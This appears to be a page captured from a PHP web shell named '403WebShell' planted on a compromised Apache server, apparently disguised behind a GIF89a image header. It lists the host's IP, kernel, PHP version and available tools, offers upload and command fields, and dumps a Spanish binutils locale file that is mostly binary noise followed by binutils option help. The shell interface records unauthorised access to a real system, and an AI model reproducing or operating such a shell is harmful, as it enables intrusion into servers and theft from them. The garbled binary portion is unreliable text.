GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus07 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/locale/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/es/LC_MESSAGES/binutils.mo
y#G_ ____"`+*`V`v``&```` 
a.a Faga'aaa=abbb,b&Jb qb(bb;b6cEKcc
ccFc:d1Pd,d.dddde#!e#Ee%ie+eeee)e)f(Cflf2f0f,f(g+Ag%mg,g+gg6g14h3fhhEhThGi
ciCqiBiAi=:jExjXj3k8KkSk;k:l3OlNl8l
mYmbsmm*mn#n<;n3xn3n:n/oDKo2o4o,o4%p<Zp5p7p5q3;qoq+q8q9q8&r8_r+r0r0r2&s'Ys8s"s0s7tHFtJt9tRu7guLu7u2$vRWv:v?v>%w=dw>w6w<x7Ux8x<x<yI@yNy=yHz)`z=zAz>
{I{\{7o{3{{{@|8Q||||||$|}6}R}g}}}}}}}"}'~94~+n~~)Nx1&ۡNqQï*g(
Ʊ&/'(W
#"/ڲ(
3%Ou
-ٳ"+A#m ""մ(!"- P#q_B:8!s
)(Ͷ(HQh-"% 1R"k߸"4'(\3*H]+y11׺1	4;5p@\JD(#&ܼ)'-#U*y++н(/E(u&7ž.,C9Q}YϿ3)-]%,1@>Q.)6Q r1-45CIy-2$6=S8g%	7+c5y7?,'T0j+3<,8;e4
/Q#5u*/^v7}BK9DB~@U)E-7Bzt{NJ1'Y$';c-
#'K`ein	,1 O!p'(3%7Y
$%?e(}@":'!b.1@&&+M*y%(##?$c$%1$M'r)<If}c,%_E/
=24
g*r# 3G]x  	

	Ic~"*BVb{


0&C
ao""
K#o%&$2JdEu&0Iau<20He6..1$JoI-CY>o!VZ@/
!)KBd:+$+'Px)&#$"#G<k--+E0v?!1 K&l$&N>.	.m		D	!	-
(A
Nj



=!=Qg:|,A&
TA

4


$:&_ +"/"&$I"n  $4Sr)`P/	&*+Vl+'<6OhxU5414f=M`,o-3@??9,*3W?)'0F^u)+#7J0^557#K
oz'%O7?84/57e3;w
I\h!w",>;<2x(R' E b + $  ( &!5B!x!!!/!"")6"7`""""""
#)#E#e###$##&#%
$ 3$!T$yv$g$ X% y%+%#%1%&);&e&'&&&(&6&;%'a':'+'9'"(%3(7Y(*(+(6(J).j))4)*)+*$7*\*h**
******
++ )++J+v++"++(+ ,6=,t,,&,,,,'-<-S-"r---(-$-%.5>.t.#....I.:/3C/ w//!/+/105702m05000-01
&1
11/?11o1!1'1'1/22C27v2+2 212#-3"Q3+t3&3#3)3.4#D4h4*44444
555	95C54X555555)5((6#Q69u69667787T7&t7&73778!8 38!T8v88888888
899 9:9)G9q9999(9'94 :U:-q:: ::: ;4;C;V;.l;;;;;;;
;
<<"<2<B<U<j<<<<<<+<$=8=D=\=Sw=%=
==>/>F>S>+_>>=>>>4>(?9?A?-_?#???$??@ @
,@:@M@c@@o@!@=@DAUAfAsAAAAAAAAB&B7BIB7XBFB;BC.C=C#MCqC!C#CCCCD,D?D^D}DDDDADFD:BE;}EE)E8E$7F$\FF(FF!FGG2GLGeG'G)G/G&H-HMHkH}HH*H'HI1I*QI/|II#IIIJJ-JDJ]JmJJJJ&JJ	K'K'7K*_K&KKKKKL5L%RLxLL!LLL'
M2MDMVM$rMM@MM
NN#N<NINUNeN4NNNNNOO*O;OOO'XO&O,O O'OIP9gP9P4P2Q=CQQaQ0R!S5SMS#mS2SSSS&T$8T]TvT&TT-T"U/*UZU cUOUUUU&U6%V+\VCV!VVVFEWTWW
X)XQ9XEX@X8Y:KY
YYYY'Y-Z/1Z/aZZZ(Z2Z![2A[t[@[1[1\'5\+]\#\0\*\	]@ ]Da]>]]J]TH^^^B^A
_@O_=_E_e`5z`B`T`GHaDa6aObE\b
bYba
clc)cccQc2"d8UdHd=dbe5xe@e/e>fQ^f8fAfD+g5pgg-gGg?4h6th6h<h<i<\i<i2i7	j&Aj8hj6jTja-k7kPk=lSVl?l3lam>mQmLn;^n@n?n=o7YoAoEo@pPZpapA
q^Oq(q;qSrAgrrr9r5	s?sVsBts:sst"t!8tZt*pttttttu"uBu\ubu1hu-u<u.v4vdv"[x"
2x@ʹ,ź(	!%!G,i:(ѻ
0	6"@Cc(м%$7
F
T-_"ҽ+#! E"f"(վ".,3]`D<#@
d)r((KS:-"% 0&"Wz!"@:YV$;Y"w +1131eF7A[XI(8'2`8C<*M+x+0.!0P)@6#B2QuYR!4t).?MB>:0
9;au.2"0U>:_4`/ =-Z 957JCF.
<5R-4G/3PcF9A[V<+7S]f	6DLJ=DM
.XwF1%$|J$rM_6N3d(

3"Vb#w	$1Qi&/.#,//\-K:!\)h'2$')4Q&2N/,NR{(>B6Ly+47'3_5#./Iy)*-	0	(O	3x	/			
%,
1R
"





r6v%q<EHA
7
5B
.x
(


 
/#I/m$)	-?
PY[&!*L\.t'
%8Tfx>,-Kc)w&,,"4eM%27/Dt" W	am1v3%%$( M0nL>+Db~=.C&>j0 $ %@Wf>8U},D$##>)b'I@?>H-0')9c}7*! #; J_ : ; 2!!ET!!	!O!	"
"'-"U"
q"" "."0"5#.J#Ny#>#;$C$KV$*$-$.$]*%%%'%&%&&+&#'(;'d'(' 'S';(Q[((s($>)?c)))))&)(*+G*<s*%*E*#+%@+%f+!+!+!+%+,6,V,v,*,&,`,P>---- -3-%&.=L.7...8.37/k/Es/U/0)0:0zR0N01491=n1K1 1%2]?22/2<2B3I^3N3D3
<4G4W4w4(4A4D4LC505A56616O6h66666=6%57[7q7B77A7-,8/Z82888.891+9]9v9(9X9R
:G`:1:1:9;2F;:y;;><=&=7=,M=+z==?=V=CS>6>;>f
?&q?%?'?8?$@&D@6k@,@<@#A*0A,[A;AA!A:AY4B"BBBBC"C ?C,`C,C-C+CD3.D6bD-D3DD{E0F-8FCfF2FCF0!GARG&G4GGH3HFKH:H$HGH9:I=tII&IGI/0J,`J8J\J5#KYK2oK'K)K*K
L*LFL	YLcL.zLLL%LMM++M9WMMM/M&M,$N'QNAyNN#N2N*.O!YO{O8OO&O.P#FP2jP=P?P9QKUQQ:QQ*R<R[VRRHR!S'2SZS1zSNSTS6PTGT
TT5TU+U<U8PU@U(U'U-V7IV>V@V1W&3W<ZW#W+W1W/X*IX)tX9X*X%Y,)YVYjYY,YYY&Y
"Z-Z=MZZZZ&Z(Z5[2N[,[D[F[+:\&f\1\&\&\4
].B]8q]$] ]]5^4A^v^^^^^^^	_)_9_W_ c__3_ ___`5.`+d`>``1`a$:a+_aa%aaaa:bIb^bwbbbbbbbc!c5cMcdc}ccccc4c3)d	]d&gd(dgd.eNe&he'eeee9e1fA9f{f f7fff-f2)g,\ggg+g$g

h
h)h;hWhshEh'hHhS9iiiiii%i# jDj!dj%j$j!j jkJ'kWrk=k l)l$Cl1hl!l/l)lm'mDm!Wmym'mmmmnn>"nFan?nAn(*o5SoJo-o/p)2p5\p#p%ppp
q&q@q._q5q9q$q'#r%Krqrr r0r,rs9<s2vs7ss+s+t7tLt!`ttttt$t u'1u4Yuu&uu/u6	v1@vrv$vv!v)v'w:;w.vw+w,w"w!x.7xfxyx"x*x"xOxMyiyy%yyyy yHz`ztzz$zzz
{*{>{1G{0y{){%{1{H,|Du|F|:}G<}I}}P$%TY]X/Pth`}Ff#,|0[lJLU;6qaHVtaWF3s`-Il)}<2S4U?ZBWF"<d\R
).Ep0,koBqa5Ab`=J4epKY!n
aj&!=eg4Gt[(.7+/Phjkw11S5&2D~?y1W7H}iRxNscVMB4QDV/r{vx\;~g'Y8'92vU
i*sXAQ&~j3@*J]2"{L'}mV"@G@Y:)<9MzG$!y:E Eru<x_w'X\A:nCc(=0?6c.7&/T~#p%4
en_!y>rCShZ)sbc;eKy
WN
RIxp*+TP0gqkou	TO$6RBQK	-?]_$NlY,R"\B[mt,fz0Cdn=K"Nu:.cwhL%>]EfIae	o7-91^D i5Mog
|k;xZijA52#{Od(vHFOJjQ=S 5vTOJ+KZ>G`{1*M	%oNr*'	z7_6k3\M%|rb
9gm>pf#lvP(qq(@#^UmiCh[L +G/9uS-nXm
DC8t8;|b3u8dIEsz>VO_
U-3L^^lAX^:Hwb,<$F]!y68W[?@H+wZ`D&f d).IQ	codepage settings are ignored.


Symbols from %s:



Symbols from %s[%s]:



Undefined symbols from %s:



Undefined symbols from %s[%s]:


      [Requesting program interpreter: %s]
    Address            Length

    Address    Length

    Offset	Name

  Start of program headers:          
 Line Number Statements:

 Opcodes:

 Section to Segment mapping:

 The Directory Table is empty.

 The Directory Table:

 The File Name Table is empty.

 The File Name Table:

 The following switches are optional:

%s/%s:

%s:     file format %s

'%s' relocation section at offset 0x%lx contains %ld bytes:

./%s:[++]

<%s>


Archive index:

Assembly dump of section %s

Can't get contents for section '%s'.

Can't uncompress section '%s'.

Could not find unwind info section for 
Disassembly of section %s:

Dynamic info segment at offset 0x%lx contains %d entries:

Dynamic section at offset 0x%lx contains %u entries:

Dynamic symbol information is not available for displaying symbols.

Elf file type is %s

File: %s

Hex dump of section '%s':

Histogram for `.gnu.hash' bucket list length (total of %lu buckets):

Histogram for bucket list length (total of %lu buckets):

Library list section '%s' contains %lu entries:

No version information found in this file.

Notes at offset 0x%08lx with length 0x%08lx:

PLT GOT:


Primary GOT:

Program Headers:

Relocation section 
Section '%s' contains %d entries:

Section '%s' has no data to dump.

Section '%s' has no debugging data.

Section '.conflict' contains %lu entries:

Section Header:

Section Headers:

String dump of section '%s':

Symbol table '%s' contains %lu entries:

Symbol table for image:

Symbol table of `.gnu.hash' for image:

The %s section is empty.

There are %d program headers, starting at offset 
There are no dynamic relocations in this file.

There are no program headers in this file.

There are no relocations in this file.

There are no section groups in this file.

There are no sections in this file.

There are no unwind sections in this file.

There is no dynamic section in this file.

Unwind section 
Version definition section '%s' contains %u entries:

Version needs section '%s' contains %u entries:

Version symbols section '%s' contains %d entries:

start address 0x                 FileSiz            MemSiz              Flags  Align
        possible <machine>: arm[_interwork], i386, mcore[-elf]{-le|-be}, ppc, thumb
       %s -M [<mri-script]
       Flags
       Size              EntSize          Flags  Link  Info  Align
       Size              EntSize          Info              Align
       Type              Address          Offset            Link
       Type            Addr     Off    Size   ES   Lk Inf Al
       Type            Address          Off    Size   ES   Lk Inf Al
      --add-stdcall-underscore Add underscores to stdcall symbols in interface library.
      --exclude-symbols <list> Don't export <list>
      --export-all-symbols   Export all symbols to .def
      --identify-strict      Causes --identify to report error when multiple DLLs.
      --no-default-excludes  Clear default exclude symbols
      --no-export-all-symbols  Only export listed symbols
      --plugin NAME      Load the specified plugin
      --use-nul-prefixed-import-tables Use zero prefixed idata$4 and idata$5.
     --yydebug                 Turn on parser debugging
    %-18s %s
    Offset             Info             Type               Symbol's Value  Symbol's Name
    Offset             Info             Type               Symbol's Value  Symbol's Name + Addend
    Offset   Begin    End
    Offset   Begin    End      Expression
   %d	   %ld      %s    [%s]
   --add-indirect         Add dll indirects to export file.
   --add-stdcall-alias    Add aliases without @<n>
   --as <name>            Use <name> for assembler
   --base-file <basefile> Read linker generated base file
   --def <deffile>        Name input .def file
   --dllname <name>       Name of input dll to put into output lib.
   --dlltool-name <dlltool> Defaults to "dlltool"
   --driver-flags <flags> Override default ld flags
   --driver-name <driver> Defaults to "gcc"
   --dry-run              Show what needs to be run
   --entry <entry>        Specify alternate DLL entry point
   --exclude-symbols <list> Exclude <list> from .def
   --export-all-symbols     Export all symbols to .def
   --image-base <base>    Specify image base address
   --implib <outname>     Synonym for --output-lib
   --machine <machine>
   --mno-cygwin           Create Mingw DLL
   --no-default-excludes    Zap default exclude symbols
   --no-export-all-symbols  Only export .drectve symbols
   --no-idata4           Don't generate idata$4 section
   --no-idata5           Don't generate idata$5 section
   --nodelete             Keep temp files.
   --output-def <deffile> Name output .def file
   --output-exp <outname> Generate export file.
   --output-lib <outname> Generate input library.
   --quiet, -q            Work quietly
   --target <machine>     i386-cygwin32 or i386-mingw32
   --verbose, -v          Verbose
   --version              Print dllwrap version
   -A --add-stdcall-alias    Add aliases without @<n>.
   -C --compat-implib        Create backward compatible import library.
   -D --dllname <name>       Name of input dll to put into interface lib.
   -F --linker-flags <flags> Pass <flags> to the linker.
   -I --identify <implib>    Report the name of the DLL associated with <implib>.
   -L --linker <name>        Use <name> as the linker.
   -M --mcore-elf <outname>  Process mcore-elf object files into <outname>.
   -S --as <name>            Use <name> for assembler.
   -U                     Add underscores to .lib
   -U --add-underscore       Add underscores to all symbols in interface library.
   -V --version              Display the program version.
   -a --add-indirect         Add dll indirects to export file.
   -b --base-file <basefile> Read linker generated base file.
   -c --no-idata5            Don't generate idata$5 section.
   -d --input-def <deffile>  Name of .def file to be read in.
   -e --output-exp <outname> Generate an export file.
   -f --as-flags <flags>     Pass <flags> to the assembler.
   -h --help                 Display this information.
   -k                     Kill @<n> from exported names
   -k --kill-at              Kill @<n> from exported names.
   -l --output-lib <outname> Generate an interface library.
   -m --machine <machine>    Create as DLL for <machine>.  [default: %s]
   -n --no-delete            Keep temp files (repeat for extra preservation).
   -p --ext-prefix-alias <prefix> Add aliases with <prefix>.
   -t --temp-prefix <prefix> Use <prefix> to construct temp file names.
   -v --verbose              Be verbose.
   -x --no-idata4            Don't generate idata$4 section.
   -y --output-delaylib <outname> Create a delay-import library.
   -z --output-def <deffile> Name of .def file to be created.
   0 (*local*)       1 (*global*)      @<file>                   Read options from <file>.
   @<file>                Read options from <file>
   Abbrev Offset: %ld
   Length:        0x%lx (%s)
   Num:    Value          Size Type    Bind   Vis      Ndx Name
   Num:    Value  Size Type    Bind   Vis      Ndx Name
   Pointer Size:  %d
   Version:       %d
   [Index]    Name
  %#06x:   Name index: %lx  %#06x:   Name: %s  %#06x: Parent %d, name index: %ld
  %#06x: Parent %d: %s
  %#06x: Rev: %d  Flags: %s  %#06x: Version: %d  %*s %*s %*s %-7s %3s %s
  %*s %*s Purpose
  %*s %10s %*s
  %*s %10s %*s %*s %-7s %3s %s
  %*s %10s %*s Purpose
  %d	  %s
  (Starting at file offset: 0x%lx)  (Unknown inline attribute value: %lx)  --plugin <name>              Load the specified plugin
  --plugin <p> - load the specified plugin
  -H --help                    Print this help message
  -v --verbose                 Verbose - tells you what it's doing
  -V --version                 Print version information
  -I --histogram         Display histogram of bucket list lengths
  -W --wide              Allow output width to exceed 80 characters
  @<file>                Read options from <file>
  -H --help              Display this information
  -v --version           Display the version number of readelf
  -I --input-target <bfdname>      Assume input file is in format <bfdname>
  -O --output-target <bfdname>     Create an output file in format <bfdname>
  -B --binary-architecture <arch>  Set arch of output file, when input is binary
  -F --target <bfdname>            Set both input and output format to <bfdname>
     --debugging                   Convert debugging information, if possible
  -p --preserve-dates              Copy modified/access timestamps to the output
  -j --only-section <name>         Only copy section <name> into the output
     --add-gnu-debuglink=<file>    Add section .gnu_debuglink linking to <file>
  -R --remove-section <name>       Remove section <name> from the output
  -S --strip-all                   Remove all symbol and relocation information
  -g --strip-debug                 Remove all debugging symbols & sections
     --strip-unneeded              Remove all symbols not needed by relocations
  -N --strip-symbol <name>         Do not copy symbol <name>
     --strip-unneeded-symbol <name>
                                   Do not copy symbol <name> unless needed by
                                     relocations
     --only-keep-debug             Strip everything but the debug information
     --extract-symbol              Remove section contents but keep symbols
  -K --keep-symbol <name>          Do not strip symbol <name>
     --keep-file-symbols           Do not strip file symbol(s)
     --localize-hidden             Turn all ELF hidden symbols into locals
  -L --localize-symbol <name>      Force symbol <name> to be marked as a local
     --globalize-symbol <name>     Force symbol <name> to be marked as a global
  -G --keep-global-symbol <name>   Localize all symbols except <name>
  -W --weaken-symbol <name>        Force symbol <name> to be marked as a weak
     --weaken                      Force all global symbols to be marked as weak
  -w --wildcard                    Permit wildcard in symbol comparison
  -x --discard-all                 Remove all non-global symbols
  -X --discard-locals              Remove any compiler-generated symbols
  -i --interleave <number>         Only copy one out of every <number> bytes
  -b --byte <num>                  Select byte <num> in every interleaved block
     --gap-fill <val>              Fill gaps between sections with <val>
     --pad-to <addr>               Pad the last section up to address <addr>
     --set-start <addr>            Set the start address to <addr>
    {--change-start|--adjust-start} <incr>
                                   Add <incr> to the start address
    {--change-addresses|--adjust-vma} <incr>
                                   Add <incr> to LMA, VMA and start addresses
    {--change-section-address|--adjust-section-vma} <name>{=|+|-}<val>
                                   Change LMA and VMA of section <name> by <val>
     --change-section-lma <name>{=|+|-}<val>
                                   Change the LMA of section <name> by <val>
     --change-section-vma <name>{=|+|-}<val>
                                   Change the VMA of section <name> by <val>
    {--[no-]change-warnings|--[no-]adjust-warnings}
                                   Warn if a named section does not exist
     --set-section-flags <name>=<flags>
                                   Set section <name>'s properties to <flags>
     --add-section <name>=<file>   Add section <name> found in <file> to output
     --rename-section <old>=<new>[,<flags>] Rename section <old> to <new>
     --long-section-names {enable|disable|keep}
                                   Handle long section names in Coff objects.
     --change-leading-char         Force output format's leading character style
     --remove-leading-char         Remove leading character from global symbols
     --reverse-bytes=<num>         Reverse <num> bytes at a time, in output sections with content
     --redefine-sym <old>=<new>    Redefine symbol name <old> to <new>
     --redefine-syms <file>        --redefine-sym for all symbol pairs 
                                     listed in <file>
     --srec-len <number>           Restrict the length of generated Srecords
     --srec-forceS3                Restrict the type of generated Srecords to S3
     --strip-symbols <file>        -N for all symbols listed in <file>
     --strip-unneeded-symbols <file>
                                   --strip-unneeded-symbol for all symbols listed
                                     in <file>
     --keep-symbols <file>         -K for all symbols listed in <file>
     --localize-symbols <file>     -L for all symbols listed in <file>
     --globalize-symbols <file>    --globalize-symbol for all in <file>
     --keep-global-symbols <file>  -G for all symbols listed in <file>
     --weaken-symbols <file>       -W for all symbols listed in <file>
     --alt-machine-code <index>    Use the target's <index>'th alternative machine
     --writable-text               Mark the output text as writable
     --readonly-text               Make the output text write protected
     --pure                        Mark the output file as demand paged
     --impure                      Mark the output file as impure
     --prefix-symbols <prefix>     Add <prefix> to start of every symbol name
     --prefix-sections <prefix>    Add <prefix> to start of every section name
     --prefix-alloc-sections <prefix>
                                   Add <prefix> to start of every allocatable
                                     section name
     --file-alignment <num>        Set PE file alignment to <num>
     --heap <reserve>[,<commit>]   Set PE reserve/commit heap to <reserve>/
                                   <commit>
     --image-base <address>        Set PE image base to <address>
     --section-alignment <num>     Set PE section alignment to <num>
     --stack <reserve>[,<commit>]  Set PE reserve/commit stack to <reserve>/
                                   <commit>
     --subsystem <name>[:<version>]
                                   Set PE subsystem to <name> [& <version>]
]  -v --verbose                     List all object files modified
  @<file>                          Read options from <file>
  -V --version                     Display this program's version number
  -h --help                        Display this output
     --info                        List object formats & architectures supported
  -I --input-target=<bfdname>      Assume input file is in format <bfdname>
  -O --output-target=<bfdname>     Create an output file in format <bfdname>
  -F --target=<bfdname>            Set both input and output format to <bfdname>
  -p --preserve-dates              Copy modified/access timestamps to the output
  -R --remove-section=<name>       Remove section <name> from the output
  -s --strip-all                   Remove all symbol and relocation information
  -g -S -d --strip-debug           Remove all debugging symbols & sections
     --strip-unneeded              Remove all symbols not needed by relocations
     --only-keep-debug             Strip everything but the debug information
  -N --strip-symbol=<name>         Do not copy symbol <name>
  -K --keep-symbol=<name>          Do not strip symbol <name>
     --keep-file-symbols           Do not strip file symbol(s)
  -w --wildcard                    Permit wildcard in symbol comparison
  -x --discard-all                 Remove all non-global symbols
  -X --discard-locals              Remove any compiler-generated symbols
  -v --verbose                     List all object files modified
  -V --version                     Display this program's version number
  -h --help                        Display this output
     --info                        List object formats & architectures supported
  -o <file>                        Place stripped output into <file>
  -S, --print-size       Print size of defined symbols
		  -s, --print-armap      Include index for symbols from archive members
      --size-sort        Sort symbols by size
      --special-syms     Include special symbols in the output
      --synthetic        Display synthetic symbols as well
  -t, --radix=RADIX      Use RADIX for printing symbol values
      --target=BFDNAME   Specify the target object format as BFDNAME
  -u, --undefined-only   Display only undefined symbols
  -X 32_64               (ignored)
  @FILE                  Read options from FILE
  -h, --help             Display this information
  -V, --version          Display this program's version number

  -a, --archive-headers    Display archive header information
  -f, --file-headers       Display the contents of the overall file header
  -p, --private-headers    Display object format specific file header contents
  -h, --[section-]headers  Display the contents of the section headers
  -x, --all-headers        Display the contents of all headers
  -d, --disassemble        Display assembler contents of executable sections
  -D, --disassemble-all    Display assembler contents of all sections
  -S, --source             Intermix source code with disassembly
  -s, --full-contents      Display the full contents of all sections requested
  -g, --debugging          Display debug information in object file
  -e, --debugging-tags     Display debug information using ctags style
  -G, --stabs              Display (in raw form) any STABS info in the file
  -W[lLiaprmfFsoR] or
  --dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges]
                           Display DWARF info in the file
  -t, --syms               Display the contents of the symbol table(s)
  -T, --dynamic-syms       Display the contents of the dynamic symbol table
  -r, --reloc              Display the relocation entries in the file
  -R, --dynamic-reloc      Display the dynamic relocation entries in the file
  @<file>                  Read options from <file>
  -v, --version            Display this program's version number
  -i, --info               List object formats and architectures supported
  -H, --help               Display this information
  -b, --target=BFDNAME           Specify the target object format as BFDNAME
  -m, --architecture=MACHINE     Specify the target architecture as MACHINE
  -j, --section=NAME             Only display information for section NAME
  -M, --disassembler-options=OPT Pass text OPT on to the disassembler
  -EB --endian=big               Assume big endian format when disassembling
  -EL --endian=little            Assume little endian format when disassembling
      --file-start-context       Include context from start of file (with -S)
  -I, --include=DIR              Add DIR to search list for source files
  -l, --line-numbers             Include line numbers and filenames in output
  -F, --file-offsets             Include file offsets when displaying information
  -C, --demangle[=STYLE]         Decode mangled/processed symbol names
                                  The STYLE, if specified, can be `auto', `gnu',
                                  `lucid', `arm', `hp', `edg', `gnu-v3', `java'
                                  or `gnat'
  -w, --wide                     Format output for more than 80 columns
  -z, --disassemble-zeroes       Do not skip blocks of zeroes when disassembling
      --start-address=ADDR       Only process data whose address is >= ADDR
      --stop-address=ADDR        Only process data whose address is <= ADDR
      --prefix-addresses         Print complete address alongside disassembly
      --[no-]show-raw-insn       Display hex alongside symbolic disassembly
      --insn-width=WIDTH         Display WIDTH bytes on a signle line for -d
      --adjust-vma=OFFSET        Add OFFSET to all displayed section addresses
      --special-syms             Include special symbols in symbol dumps
      --prefix=PREFIX            Add PREFIX to absolute paths for -S
      --prefix-strip=LEVEL       Strip initial directory names for -S

  -i --instruction-dump=<number|name>
                         Disassemble the contents of section <number|name>
  -r                           Ignored for compatibility with rc
  @<file>                      Read options from <file>
  -h --help                    Print this help message
  -V --version                 Print version information
  -t                           Update the archive's symbol map timestamp
  -h --help                    Print this help message
  -v --version                 Print version information
  @<file>      - read options from <file>
  ABI Version:                       %d
  Addr: 0x  Advance Line by %d to %d
  Advance PC by %lu to 0x%lx
  Advance PC by constant %lu to 0x%lx
  Advance PC by fixed size amount %lu to 0x%lx
  Class:                             %s
  Cnt: %d
  Compilation Unit @ offset 0x%lx:
  Copy
  DWARF Version:               %d
